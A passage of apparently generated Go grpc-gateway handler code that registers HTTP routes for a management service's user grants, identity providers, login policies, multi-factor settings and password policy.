w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchUserGrants_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchUserGrants_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchUserGrants_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_UserGrantByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UserGrantByID_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UserGrantByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateUserGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_CreateUserGrant_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateUserGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateUserGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdateUserGrant_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateUserGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateUserGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_DeactivateUserGrant_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateUserGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateUserGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ReactivateUserGrant_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateUserGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveUserGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveUserGrant_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveUserGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_BulkRemoveUserGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_BulkRemoveUserGrant_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_BulkRemoveUserGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_IdpByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_IdpByID_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_IdpByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateOidcIdp_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_CreateOidcIdp_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateOidcIdp_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateIdpConfig_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdateIdpConfig_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateIdpConfig_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateIdpConfig_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_DeactivateIdpConfig_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateIdpConfig_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateIdpConfig_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ReactivateIdpConfig_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateIdpConfig_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveIdpConfig_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveIdpConfig_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveIdpConfig_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateOidcIdpConfig_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdateOidcIdpConfig_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateOidcIdpConfig_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchIdps_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchIdps_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchIdps_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetLoginPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetDefaultLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetDefaultLoginPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetDefaultLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_CreateLoginPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdateLoginPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveLoginPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_GetLoginPolicyIdpProviders_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetLoginPolicyIdpProviders_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetLoginPolicyIdpProviders_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddIdpProviderToLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_AddIdpProviderToLoginPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddIdpProviderToLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveIdpProviderFromLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveIdpProviderFromLoginPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveIdpProviderFromLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetLoginPolicySecondFactors_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetLoginPolicySecondFactors_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetLoginPolicySecondFactors_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddSecondFactorToLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_AddSecondFactorToLoginPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddSecondFactorToLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveSecondFactorFromLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveSecondFactorFromLoginPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveSecondFactorFromLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetLoginPolicyMultiFactors_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetLoginPolicyMultiFactors_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetLoginPolicyMultiFactors_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddMultiFactorToLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_AddMultiFactorToLoginPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddMultiFactorToLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveMultiFactorFromLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveMultiFactorFromLoginPolicy_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveMultiFactorFromLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetPasswordComplexityPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil 